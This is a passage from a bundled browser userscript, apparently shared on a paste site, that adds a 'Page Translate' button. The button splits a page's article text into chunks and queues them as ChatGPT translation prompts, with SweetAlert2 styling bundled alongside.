auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3064. }
  3065. });
  3066.  
  3067. // src/index.ts
  3068. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3069.  
  3070. // src/createButton/index.ts
  3071. function createButton(callback, buttonText) {
  3072. if (window.location.href.includes("chat.openai")) {
  3073. return;
  3074. }
  3075. const hideRight = document.title.match(/[\u4e00-\u9fa5]/) ? "-130px" : "-120px";
  3076. const button = document.createElement("button");
  3077. button.innerHTML = buttonText;
  3078. button.style.position = "fixed";
  3079. button.style.width = "140px";
  3080. button.style.top = "120px";
  3081. button.style.right = hideRight;
  3082. button.style.zIndex = "999999";
  3083. button.style.backgroundColor = "#4285f4";
  3084. button.style.color = "#fff";
  3085. button.style.opacity = "0.8";
  3086. button.style.border = "none";
  3087. button.style.borderRadius = "4px";
  3088. button.style.padding = "10px 16px";
  3089. button.style.fontSize = "18px";
  3090. button.style.cursor = "pointer";
  3091. button.style.transition = "right 0.3s";
  3092. document.body.appendChild(button);
  3093. button.addEventListener("mouseenter", () => {
  3094. button.style.right = "-10px";
  3095. });
  3096. button.addEventListener("mouseleave", () => {
  3097. button.style.right = hideRight;
  3098. });
  3099. document.addEventListener("fullscreenchange", () => {
  3100. if (document.fullscreenElement) {
  3101. button.style.display = "none";
  3102. } else {
  3103. button.style.display = "block";
  3104. }
  3105. });
  3106. button.addEventListener("click", callback);
  3107. }
  3108. var createButton_default = createButton;
  3109.  
  3110. // src/SimpleArticleSegmentation/index.ts
  3111. var MIN_PARAGRAPH_LENGTH = 3200;
  3112. var MAX_PARAGRAPH_LENGTH = 3600;
  3113. var TOKEN_LETTER_TO_CHARACTER_RATIO = 0.6;
  3114. var SimpleArticleSegmentation = class {
  3115. constructor(text) {
  3116. this.text = text;
  3117. }
  3118. containsAsianCharacters(str) {
  3119. const regex = /[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}\p{Script=Hangul}]/gu;
  3120. return regex.test(str);
  3121. }
  3122. segment() {
  3123. const paragraphs = [];
  3124. if (this.containsAsianCharacters(this.text)) {
  3125. let i = 0;
  3126. const maxParagraphLength = Math.floor(MAX_PARAGRAPH_LENGTH * TOKEN_LETTER_TO_CHARACTER_RATIO);
  3127. while (i < this.text.length) {
  3128. const paragraph = this.text.substring(i, i + maxParagraphLength);
  3129. paragraphs.push(paragraph);
  3130. i += maxParagraphLength;
  3131. }
  3132. } else {
  3133. const sentences = this.text.split(new RegExp("(?<=[.!?])\\s+"));
  3134. let paragraph = "";
  3135. for (const sentence of sentences) {
  3136. if (paragraph.length + sentence.length + 1 <= MAX_PARAGRAPH_LENGTH) {
  3137. paragraph += (paragraph.length > 0 ? " " : "") + sentence;
  3138. } else {
  3139. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3140. paragraphs.push(paragraph);
  3141. paragraph = sentence;
  3142. } else {
  3143. paragraph += " " + sentence;
  3144. }
  3145. }
  3146. }
  3147. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3148. paragraphs.push(paragraph);
  3149. }
  3150. }
  3151. return paragraphs;
  3152. }
  3153. };
  3154. var SimpleArticleSegmentation_default = SimpleArticleSegmentation;
  3155.  
  3156. // src/getParagraphs/index.ts
  3157. function getParagraphs() {
  3158. try {
  3159. let docClone = document.cloneNode(true);
  3160. let article = new Readability(docClone).parse();
  3161. if (article && article.textContent) {
  3162. const segmenter = new SimpleArticleSegmentation_default(article.textContent);
  3163. const paragraphs = segmenter.segment();
  3164. for (let i = 0; i < paragraphs.length; i++) {
  3165. paragraphs[i] = paragraphs[i].trim();
  3166. }
  3167. return paragraphs;
  3168. } else {
  3169. console.warn("Readability.js could not extract any text content from this page.");
  3170. return [];
  3171. }
  3172. } catch (error) {
  3173. console.error("An error occurred while using Readability.js:", error);
  3174. return [];
  3175. }
  3176. }
  3177. var getParagraphs_default = getParagraphs;
  3178.  
  3179. // ../../packages/monkit/dist/index.mjs
  3180. var MenuManager = class {
  3181. constructor(default_menu_all) {
  3182. this.default_menu_all = default_menu_all;
  3183. this.menu_all = GM_getValue("menu_all", this.default_menu_all);
  3184. for (const name in this.default_menu_all) {
  3185. if (!(name in this.menu_all)) {
  3186. this.menu_all[name] = this.default_menu_all[name];
  3187. }
  3188. }
  3189. this.menu_id = GM_getValue("menu_id", {});
  3190. this.update_menu();
  3191. }
  3192. registerMenuCommand(name, value) {
  3193. if (name === "chat_language") {
  3194. return GM_registerMenuCommand(`${name}\uFF1A${value}`, () => {
  3195. const language = prompt("Please input the language you want to use", value.toString());
  3196. if (language) {
  3197. this.menu_all[name] = language;
  3198. GM_setValue("menu_all", this.menu_all);
  3199. this.update_menu();
  3200. location.reload();
  3201. }
  3202. });
  3203. }
  3204. const menuText = ` ${name}\uFF1A${value ? "\u2705" : "\u274C"}`;
  3205. const commandCallback = () => {
  3206. this.menu_all[name] = !this.menu_all[name];
  3207. GM_setValue("menu_all", this.menu_all);
  3208. this.update_menu();
  3209. location.reload();
  3210. };
  3211. return GM_registerMenuCommand(menuText, commandCallback);
  3212. }
  3213. update_menu() {
  3214. for (const name in this.menu_all) {
  3215. const value = this.menu_all[name];
  3216. if (this.menu_id[name]) {
  3217. GM_unregisterMenuCommand(this.menu_id[name]);
  3218. }
  3219. this.menu_id[name] = this.registerMenuCommand(name, value);
  3220. }
  3221. GM_setValue("menu_id", this.menu_id);
  3222. }
  3223. getMenuValue(name) {
  3224. return this.menu_all[name];
  3225. }
  3226. };
  3227. function getLocalLanguage() {
  3228. const userLanguage = navigator.language;
  3229. const languageNames = new Intl.DisplayNames([userLanguage], { type: "language" });
  3230. const readableLanguage = languageNames.of(userLanguage);
  3231. return readableLanguage;
  3232. }
  3233.  
  3234. // src/index.ts
  3235. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3236. function initialize() {
  3237. return __async(this, null, function* () {
  3238. yield new Promise((r) => window.addEventListener("load", r));
  3239. yield new Promise((r) => setTimeout(r, 1e3));
  3240. });
  3241. }
  3242. (() => __async(void 0, null, function* () {
  3243. yield initialize();
  3244. const menu = new MenuManager({ "chat_language": getLocalLanguage() || "Chinese" });
  3245. const lang = menu.getMenuValue("chat_language");
  3246. const setPrompts = (paras) => GM_setValue("prompt_texts", paras.map((p, i) => `Answer me in ${lang} language with good segmentation,
  3247. Translate below paragraphs:
  3248.  
  3249. """${p}${i + 1}/${paras.length}"""
  3250.  
  3251. ps: answer in ${lang} language`));
  3252. GM_registerMenuCommand("\u{1F4DD} Input", () => {
  3253. import_sweetalert2.default.fire({ title: "Please input the text you want to deal with", input: "text", inputPlaceholder: "Enter your text here" }).then((result) => {
  3254. if (result.value)
  3255. setPrompts(new SimpleArticleSegmentation_default(result.value).segment());
  3256. });
  3257. });
  3258. (0, import_chatgpt.setPromptListener)("prompt_texts");
  3259. createButton_default(() => __async(void 0, null, function* () {
  3260. return setPrompts(getParagraphs_default());
  3261. }), navigator.language.startsWith("zh") ? "\u9875\u9762\u7FFB\u8BD1" : "Page Translate");
  3262. }))();
  3263. })();
  3264. /*! Bundled license information:
  3265.  
  3266. sweetalert2/dist/sweetalert2.all.js:
  3267. (*!
  3268. * sweetalert2 v11.7.18
  3269. * Released under the MIT License.
  3270. *)
  3271. */